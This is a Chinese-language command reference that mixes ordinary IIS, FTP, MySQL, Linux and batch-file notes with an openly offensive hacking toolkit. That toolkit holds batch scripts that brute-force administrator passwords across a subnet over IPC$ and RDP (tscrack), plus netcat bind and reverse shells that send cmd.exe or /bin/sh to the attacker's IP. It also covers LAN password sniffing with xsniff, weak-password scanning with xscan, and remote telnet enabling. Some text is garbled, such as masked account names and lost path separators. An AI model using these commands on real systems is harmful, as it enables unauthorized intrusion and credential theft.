iisreset /restart 停止然后重新启动所有Internet服务 

iisreset /status 显示所有Internet服务状态 

iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 

iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 

iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 

FTP 命令: (后面有详细说明内容) 

ftp的命令行格式为:

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

-d 使用调试方式。 

-n 限制ftp的自动登录,即不使用.netrc文件。

-g 取消全局文件名。 

help [命令] 或 ?[命令] 查看命令说明 

bye 或 quit 终止主机FTP进程,并退出FTP管理方式. 

pwd 列出当前远端主机目录 

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 

mget [remote-files] 从远端主机接收一批文件至本地主机 

mput local-files 将本地主机中一批文件传送至远端主机 

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 

ascii 设定以ASCII方式传送文件(缺省值) 

bin 或 image 设定以二进制方式传送文件 

bell 每完成一次文件传送,报警提示 

cdup 返回上一级目录 

close 中断与远程服务器的ftp会话(与open对应) 

open host[port] 建立指定ftp服务器连接,可指定连接端口 

delete 删除远端主机中的文件 

mdelete [remote-files] 删除一批文件 

mkdir directory-name 在远端主机中建立目录 

rename [from] [to] 改变远端主机中的文件名 

rmdir directory-name 删除远端主机中的目录 

status 显示当前FTP的状态 

system 显示远端主机系统类型 

user user-name [password] [account] 重新以别的用户名登录远端主机 

open host [port] 重新建立一个新的连接 

prompt 交互提示模式 

macdef 定义宏命令 

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 

chmod 改变远端主机的文件权限 

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 

cd remote-dir 进入远程主机目录 

cdup 进入远程主机目录的父目录 

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip


MYSQL 命令: 

mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

(例:mysql -h110.110.110.110 -Uroot -P123456 

注:u与root可以不用加空格,其它也一样) 

exit 退出MYSQL 

mysql*** -u用户名 -p旧密码 password 新密码 修改密码 

grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) 

show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 

use mysql;

show tables; 显示库中的数据表 

describe 表名; 显示数据表的结构 

create database 库名; 建库 

use 库名;

create table 表名 (字段设定列表); 建表 

drop database 库名; 

drop table 表名; 删库和删表 

delete from 表名; 将表中记录清空 

select * from 表名; 显示表中的记录 

mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 

win2003系统下新增命令(实用部份): 

shutdown /参数 关闭或重启本地或远程主机。

参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。

例:shutdown /r /t 0 立即重启本地主机(无延时) 

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。


Linux系统下基本命令: 要区分大小写 

uname 显示版本信息(同win2K的 ver) 

dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) 

pwd 查询当前所在的目录位置 

cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 

cat 文件名 查看文件内容 

cat >abc.txt 往abc.txt文件中写上内容。 

more 文件名 以一页一页的方式显示一个文本文件。 

cp 复制文件 

mv 移动文件 

rm 文件名 删除文件,rm -a 目录名删除目录及子目录 

mkdir 目录名 建立目录 

rmdir 删除子目录,目录内没有文档。 

chmod 设定档案或目录的存取权限 

grep 在档案中查找字符串 

diff 档案文件比较 

find 档案搜寻 

date 现在的日期、时间 

who 查询目前和你使用同一台机器的人以及Login时间地点 

w 查询目前上机者的详细资料 

whoami 查看自己的帐号名称 

groups 查看某人的Group 

passwd 更改密码 

history 查看自己下过的命令 

ps 显示进程状态 

kill 停止某进程 

gcc 黑客通常用它来编译C语言写的文件 

su 权限转换为指定使用者 

telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 

ftp ftp连接上某服务器(同win2K) 


2:if命令及变量 基本格式: 

IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。

例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。

0 指发现并成功执行(真);1 指没有发现、没执行(假)。 

IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。

例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") 

IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。

例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 

IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.” 


附:批处理命令与变量


1:for命令及变量 基本格式: 

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3


(set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }


command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开

command_parameters:为特定命令指定参数或命令行开关


IN (set):指在(set)中取值;DO command :指执行command


参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。 

用法举例: 

@echo off 

echo 用法格式:test.bat *.*.* > test.txt 


for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:***istrator | find "命令成功完成" >>test.txt 

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。


/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 

@echo off 

echo 用法格式:ok.bat ip 

FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200 

存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。


1、瑞士军刀:nc.exe


参数说明: 

-h 查看帮助信息 

-d 后台模式 

-e prog程序重定向,一但连接就执行[危险] 

-i secs延时的间隔 

-l 监听模式,用于入站连接 

-L 监听模式,连接天闭后仍然继续监听,直到CTR+C 

-n IP地址,不能用域名 

-o film记录16进制的传输 

-p[空格]端口 本地端口号 

-r 随机本地及远程端口 

-t 使用Telnet交互方式 

-u UDP模式 

-v 详细输出,用-vv将更详细 

-w数字 timeout延时间隔 

-z 将输入,输出关掉(用于扫锚时) 

基本用法: 

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 

nc -l -p 80 开启本机的TCP 80端口并监听 

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 

高级用法: 

nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 

nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt 

nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 

type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 

本机上用:nc -l -p 本机端口 

在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K

nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 

本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称 

在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 

备 注: 

| 管道命令 

< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令 

@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:winnt >> d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中 

>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。

如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。


扫锚工具:xscan.exe


基本格式 

xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 

xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 

检测项目 

-active 检测主机是否存活 

-os 检测远程操作系统类型(通过NETBIOS和SNMP协议) 

-port 检测常用服务的端口状态 

-ftp 检测FTP弱口令 

-pub 检测FTP服务匿名用户写权限 

-pop3 检测POP3-Server弱口令 

-smtp 检测SMTP-Server漏洞 

-sql 检测SQL-Server弱口令 

-smb 检测NT-Server弱口令 

-iis 检测IIS编码/解码漏洞 

-cgi 检测CGI漏洞 

-nasl 加载Nessus攻击脚本 

-all 检测以上所有项目 

其它选项 

-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取 

-l 显示所有网络适配器 

-v 显示详细扫描进度 

-p 跳过没有响应的主机 

-o 跳过没有检测到开放端口的主机 

  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 

-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件) 

用法示例 

xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机 

xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机 

xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机


可捕获局域网内FTP/SMTP/POP3/HTTP协议密码

参数说明 

-tcp 输出TCP数据报 

-udp 输出UDP数据报 

-icmp 输出ICMP数据报 

-pass 过滤密码信息 

-hide 后台运行 

-host 解析主机名 

-addr IP地址 过滤IP地址 

-port 端口 过滤端口 

-log 文件名 将输出保存到文件 

-asc 以ASCII形式输出 

-hex 以16进制形式输出 

用法示例 

xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 

xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 


参数说明 

-h 显示使用帮助 

-v 显示版本信息 

-s 在屏幕上打出解密能力 

-b 密码错误时发出的声音 

-t 同是发出多个连接(多线程) 

-N Prevent System Log entries on targeted server 

-U 卸载移除tscrack组件 

-f 使用-f后面的密码 

-F 间隔时间(频率) 

-l 使用-l后面的用户名 

-w 使用-w后面的密码字典 

-p 使用-p后面的密码 

-D 登录主页面 

用法示例 

tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码 

tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户 

@if not exist ipcscan.txt goto noscan 

@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i 

nscan 

@echo 3389.txt no find or scan faild 

(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) 

3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat 

@if not exist tscrack.exe goto noscan 

@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt 

:noscan 

@echo tscrack.exe no find or scan faild 

(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了) 

hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码,并将破解结果保存在rouji.txt文件中。 


Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。) 

fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙) 

fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息 

Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。 

OpenTelnet.exe (远程开启telnet工具) 

opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。

NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。


ResumeTelnet.exe (OpenTelnet附带的另一个工具) 

resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。


FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。


FTP的命令行格式为: 

ftp -v -d -i -n -g [主机名] ,其中


-v 显示远程服务器的所有响应信息;


-n 限制ftp的自动登录,即不使用;.n etrc文件;


-d 使用调试方式;


-g 取消全局文件名。


FTP使用的内部命令如下(中括号表示可选项):


1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip 

2.$ macro-ame[args]: 执行宏定义macro-name。


3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。 

4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。


5.ascii:使用ascii类型传输方式。

6.bell:每个命令执行完毕后计算机响铃一次。


7.bin:使用二进制文件传输方式。

8.bye:退出ftp会话过程。


9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。 

10.cd remote-dir:进入远程主机目录。


11.cdup:进入远程主机目录的父目录。 

12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。


13.close:中断与远程服务器的ftp会话(与open对应)。 

14.cr:使用asscii方式传输文件时,将回车换行转换为回行。


15.delete remote-file:删除远程主机文件。 

16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。


17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。 

18.disconnection:同close。


19.form format:将文件传输方式设置为format,缺省为file方式。 

20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。


21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。 

22.hash:每传输1024字节,显示一个hash符号(#)。


23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。 

24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。


25.image:设置二进制传输方式(同binary)。 

26.lcd[dir]:将本地工作目录切换至dir。


27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 

28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。


29.mdelete[remote-file]:删除远程主机文件。 

30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。


31.mget remote-files:传输多个远程文件。 

32.mkdir dir-name:在远程主机中建一目录。


33.mls remote-file local-file:同nlist,但可指定多个文件名。 

34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。


35.modtime file-name:显示远程主机文件的最后修改时间。 

36.mput local-file:将多个文件传输至远程主机。


37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。

38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。


39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。

40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。


41.open host[port]:建立指定ftp服务器连接,可指定连接端口。 

42.passive:进入被动传输方式。


43.prompt:设置多个文件传输时的交互提示。 

44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。

45.put local-file[remote-file]:将本地文件local-file传送至远程主机。 

46.pwd:显示远程主机的当前工作目录。


47.quit:同bye,退出ftp会话。 

48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.


49.recv remote-file[local-file]:同get。 

50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。


51.rhelp[cmd-name]:请求获得远程主机的帮助。 

52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。


53.rename[from][to]:更改远程主机文件名。 

54.reset:清除回答队列。


55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。 

56.rmdir dir-name:删除远程主机目录。


57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。 

58.send local-file[remote-file]:同put。


59.sendport:设置PORT命令的使用。 

60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。


61.size file-name:显示远程主机文件大小,如:site idle 7200。 

62.status:显示当前ftp状态。


63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。 

64.sunique:将远程主机文件名存储设置为只一(与runique对应)。


65.system:显示远程主机的操作系统类型。 

66.tenex:将文件传输类型设置为TENEX机的所需的类型。


67.tick:设置传输时的字节计数器。 

68.trace:设置包跟踪。


69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。 

70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3


71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。 

72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.


73.?[cmd]:同help.


winver---------检查Windows版本

wmimgmt.msc----打开windows管理体系结构

wupdmgr--------windows更新程序

winver---------检查Windows版本

wmimgmt.msc----打开windows管理体系结构

wupdmgr--------windows更新程序

wscript--------windows脚本宿主设置

write----------写字板winmsd-----系统信息

wiaacmgr-------扫描仪和照相机向导

winchat--------XP自带局域网聊天

mem.exe--------显示内存使用情况

Msconfig.exe---系统配置实用程序 

mplayer2-------简易widnows media player

mspaint--------画图板

mstsc----------远程桌面连接

mplayer2-------媒体播放机

magnify--------放大镜实用程序

mmc------------打开控制台

mobsync--------同步命令

dxdiag---------检查DirectX信息

drwtsn32------ 系统医生

devmgmt.msc--- 设备管理器

dfrg.msc-------磁盘碎片整理程序

diskmgmt.msc---磁盘管理实用程序

dcomcnfg-------打开系统组件服务

ddeshare-------打开DDE共享设置

dvdplay--------DVD播放器

net stop messenger-----停止信使服务

net start messenger----开始信使服务 

notepad--------打开记事本

nslookup-------网络管理的工具向导

ntbackup-------系统备份和还原

narrator-------屏幕"讲述人"

ntmsmgr.msc----移动存储管理器

ntmsoprq.msc---移动存储管理员操作请求

netstat -an----(TC)命令检查接口

syncapp--------创建一个公文包

sysedit--------系统配置编辑器

sigverif-------文件签名验证程序

sndrec32-------录音机

shrpubw--------创建共享文件夹

secpol.msc-----本地安全策略

syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码

services.msc---本地服务设置

Sndvol32-------音量控制程序

sfc.exe--------系统文件检查器

sfc /scannow---windows文件保护

tsshutdn-------60秒倒计时关机命令

tourstart------xp简介(安装完成后出现的漫游xp程序)

taskmgr--------任务管理器

eventvwr-------事件查看器

eudcedit-------造字程序 

explorer-------打开资源管理器

packager-------对象包装程序

perfmon.msc----计算机性能监测程序

progman--------程序管理器

regedit.exe----注册表 

rsop.msc-------组策略结果集

regedt32-------注册表编辑器

rononce -p ----15秒关机

regsvr32 /u *.dll----停止dll文件运行

regsvr32 /u zipfldr.dll------取消ZIP支持

cmd.exe--------CMD命令提示符

chkdsk.exe-----Chkdsk磁盘检查

certmgr.msc----证书管理实用程序

calc-----------启动计算器

charmap--------启动字符映射表

cliconfg-------SQL SERVER 客户端网络实用程序

Clipbrd--------剪贴板查看器

conf-----------启动netmeeting

compmgmt.msc---计算机管理

cleanmgr-------**整理

ciadv.msc------索引服务程序

osk------------打开屏幕键盘

odbcad32-------ODBC数据源管理器

oobe/msoobe /a----检查XP是否激活

lusrmgr.msc----本机用户和组

logoff---------注销命令

iexpress-------木马捆绑工具,系统自带

Nslookup-------IP地址侦测器

fsmgmt.msc-----共享文件夹管理器

utilman--------辅助工具管理器

gpedit.msc-----组策略 


后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢? 

  比如,在启动wps软件时,每次都必须执行 


  C:>cd wps 

  C:WPS>spdos 

  C:WPS>py 

  C:WPS>wbx 

  C:WPS>wps 


  如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢? 


  如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢? 


  当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。 


  此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。 



  echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符 

  echo off 表示在此语句后所有运行的命令都不显示命令行本身 

  @ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。 

  call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令) 

  pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续。

  rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的。


  例:用edit编辑a.bat文件,输入下列内容后存盘为c:a.bat,执行该批处理文件后可实现:将根目录中所有文件写入a.txt中,启动UCDOS,进入WPS等功能。


批处理文件的内容为:         文件表示: 


    echo off            不显示命令行 


    dir c:*.* >a.txt       将c盘文件列表写入a.txt 


    call c:ucdosucdos.bat    调用ucdos 


    echo 你好            显示"你好" 


    pause              暂停,等待按键继续 


    rem 使用wps           注释将使用wps 


    cd ucdos            进入ucdos目录 


    wps               使用wps   


  批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。 


   %表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。 


  例如,C:根目录下一批处理文件名为f.bat,内容为 format %1 


  则如果执行C:>f a:    则实际执行的是format a: 


  又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2 


  那么运行C:>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容 



  if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。 


  if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 

  1、if "参数" == "字符串"  待执行的命令 

  参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

  如if "%1"=="a" format a: 


  2、if exist 文件名  待执行的命令 

  如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys 


  3、if errorlevel 数字  待执行的命令 

  如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码


  goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如:


  goto end 


  :end 

  echo this is the end


choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……


  如: choice /c:dme defrag,mem,end

  将显示

  defrag,mem,end[D,M,E]?


  例如,test.bat的内容如下: 

  @echo off 

  choice /c:dme defrag,mem,end 

  if errorlevel 3 goto defrag 应先判断数值最高的错误码

  if errorlevel 2 goto mem 

  if errotlevel 1 goto end 


  :defrag 

  c:dosdefrag 

  goto end 


  :mem 

  mem 

  goto end 


  :end 

  echo good bye


  此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。


  for 循环命令,只要条件符合,它将多次执行同一命令。 


  格式FOR [%%f] in (集合) DO [命令] 

  只要参数f在指定的集合内,则条件成立,执行命令 


  如果一条批处理文件中有一行: 

  for %%c in (*.bat *.txt) do type %%c 

  含义是如果是以bat或txt结尾的文件,则显示文件的内容。



  DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如: path(设置路径)、smartdrv(磁盘加速)、mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。 


  如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。 


  例如,一个典型的autoexec.bat内容如下: 


  @echo off                     不显示命令行 


  prompt $p$g                    设置提示符前有目录提示 


  path c:dos;c:;c:windows;c:ucdos;c: ools    设置路径 


  lh c:dosdoskey.com                加载键盘管理 


  lh c:mousemouse.com               加载鼠标管理 


  lh c:dossmartdrv.exe               加载磁盘加速管理 


  lh c:dosmscdex /S /D:MSCD000 /M:12 /V      加载CD-ROM驱动 


  set temp=c: emp                  设置临时目录


  标号用 :字符串 表示,标号所在行不被执行

 



使用条件处理符号可以从单个命令行或脚本运行多个命令。通过条件处理符号运行多个命令时,条件处理符号右边的命令根据条件处理符号左边的命令结果来发挥作用。例如,只有在前一个命令失败的情况下,才可能需要运行一个新命令。或者,只有在前一个命令成功时才可能需要运行一个新命令。

可以使用下表列出的特殊字符来传递多个命令。

字符        语法        定义

& [...]        command1 & command2        用来分隔一个命令行中的多个命令。Cmd.exe 运行第一个命令,然后运行第二个命令。

&& [...]        command1 && command2        只有在符号 && 前面的命令成功时,才用于运行该符号后面的命令。Cmd.exe 运行第一个命令,然后只有在第一个命令运行成功时才运行第二个命令。

|| [...]        command1 || command2        只有在符号 || 前面的命令失败时,才用于运行符号 || 后面的命令。Cmd.exe 运行第一个命令,然后只有在第一个命令未能运行成功(接收到大于零的错误代码)时才运行第二个命令。

( ) [...]        (command1 & command2)         用来分组或嵌套多个命令。

; 或者 ,        command1 parameter1;parameter2        用来分隔命令参数。

注意

·        “与”符号 (&)、管道符号 (|) 以及括号 () 是特殊字符,将它们作为参数传递时,必须在其前面加上转义字符 (^) 或引号。 

·        如果某个命令成功完成操作,则该命令就返回零 (0) 退出代码或不返回任何退出代码



> 创建一个文件 

>> 追加到一个文件后面 

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb 

